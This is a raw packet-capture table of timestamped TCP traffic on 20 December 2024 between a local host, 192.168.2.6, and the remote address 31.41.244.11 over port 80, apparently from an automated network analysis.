Dec 20, 2024 21:13:17.691044092 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.691091061 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.691150904 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.692037106 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.692069054 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.692090988 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.692111969 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.692941904 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.692954063 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.693002939 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.693002939 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.693747044 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.693770885 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.693995953 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.694508076 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.694561005 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.694622993 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.694660902 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.695472956 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.695497990 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.695552111 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.696300983 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.696367979 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.696392059 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.696455956 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.697247982 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.697259903 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.697381973 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.698061943 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.698124886 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.698318958 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.698987961 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.698998928 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.699078083 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.699753046 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.699871063 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.699889898 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.699976921 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.700723886 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.700788021 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.700814962 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.700938940 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.701482058 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.701549053 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.701580048 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.701723099 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.702482939 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.702495098 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.702531099 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.703279972 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.703334093 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.703392029 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.704201937 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.704269886 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.704330921 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.704376936 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.705018997 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.705090046 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.705303907 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.705365896 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.705838919 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.705882072 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.705935955 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.706023932 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.706789970 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.706823111 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.706839085 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.706885099 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.707596064 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.707658052 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.707709074 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.707948923 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.708554029 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.708604097 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.708638906 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.708678961 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.709363937 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.709425926 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.709466934 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.709522963 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.710257053 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.710298061 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.710299015 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.710381985 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.711165905 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.711204052 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.711211920 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.711934090 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.712003946 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.712033033 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.712089062 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.712784052 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.712829113 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.712878942 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.712997913 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.713738918 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.713826895 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.713855028 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.713928938 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.714611053 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.714632988 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.714657068 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.714695930 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.715435028 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.715488911 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.715737104 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.715835094 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.716501951 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.716514111 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.716553926 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.717154026 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.717204094 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.717262030 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.717313051 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.718036890 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.718079090 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.718120098 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.718197107 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.718945026 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.718988895 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.719003916 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.719332933 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.719966888 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.719979048 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.720019102 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.720772028 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.720782995 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.720817089 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.721554041 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.721612930 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.721621990 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.721699953 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.722433090 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.722490072 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.722582102 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.722625971 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.723304987 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.723356962 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.723432064 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.724150896 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.724205971 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.724212885 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.724276066 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.725107908 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.725156069 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.725183010 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.725302935 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.725980043 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.726043940 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.726130962 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.726284981 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.726814985 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.726840019 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.726864100 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.726943970 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.727705956 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.727763891 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.727788925 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.727900982 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.728669882 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.728682041 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.728815079 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.729312897 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.729419947 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.875716925 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.875792980 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.875809908 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.875855923 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.876048088 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.876106977 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.876132011 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.876189947 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.876940966 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.877034903 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.877055883 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.877095938 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.877815962 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.877871990 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.877907991 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.878007889 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.878767967 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.878778934 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.878813028 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.878834963 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.879597902 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.879618883 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.879672050 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.879672050 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.880563974 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.880575895 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.880636930 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.881305933 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.881344080 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.881369114 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.881411076 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.882528067 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.882541895 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.882580042 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.883038998 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.883208990 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.883254051 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.883920908 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.884313107 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.884337902 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.884392977 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.884855032 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.884866953 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.884913921 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.885665894 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.885732889 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.885757923 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.885802031 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.886527061 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.886576891 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.886620998 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.886663914 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.887579918 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.887602091 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.887655973 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.888268948 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.888323069 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.888389111 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.888454914 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.889111996 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.889152050 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.889177084 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.889250040 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.890034914 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.890156031 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.890182018 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.890312910 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.890856981 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.890902996 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.891113043 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.891887903 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.891901016 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.891931057 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.891963005 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.892586946 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.892726898 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.892935038 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.893450022 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.893579006 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.893599033 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.893675089 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.894386053 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.894397974 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.894428968 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.894443989 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.895195007 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.895730972 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.895780087 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.896152020 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.896218061 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.896300077 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.896987915 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.897042036 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.897125959 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.897192001 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.897828102 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.897902012 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.897921085 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.897943020 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.898689985 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.898734093 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.898895979 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.899632931 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.899722099 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.899744034 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.899791956 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.900409937 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.900485992 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.900511026 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.900594950 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.901312113 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.901360035 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.901400089 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.901474953 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.902245998 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.902296066 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.902312040 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.902378082 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.903212070 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.903259039 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.903395891 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.903443098 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.904016018 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.904143095 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.904213905 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.904815912 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.904927969 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.904957056 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.905009985 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.905667067 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.905730963 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.905884981 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.906006098 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.906522989 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.906573057 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.906609058 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.907634974 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.907646894 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.907706976 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.907722950 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.908329964 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.908397913 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.908454895 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.909226894 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.909240007 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.909296036 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.909296036 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.910011053 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.910065889 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.910108089 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.910929918 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.911037922 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.911132097 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.911761999 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.911830902 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.911907911 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.911959887 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.912662029 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.912720919 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.912794113 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.912893057 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.913506031 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.913640976 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.913671017 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.913791895 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.914357901 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.914403915 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.914441109 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.914441109 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.915225983 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.915352106 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.915446997 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.916107893 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.916235924 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.916433096 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.916513920 CET	49849	80	192.168.2.6	31.41.244.11
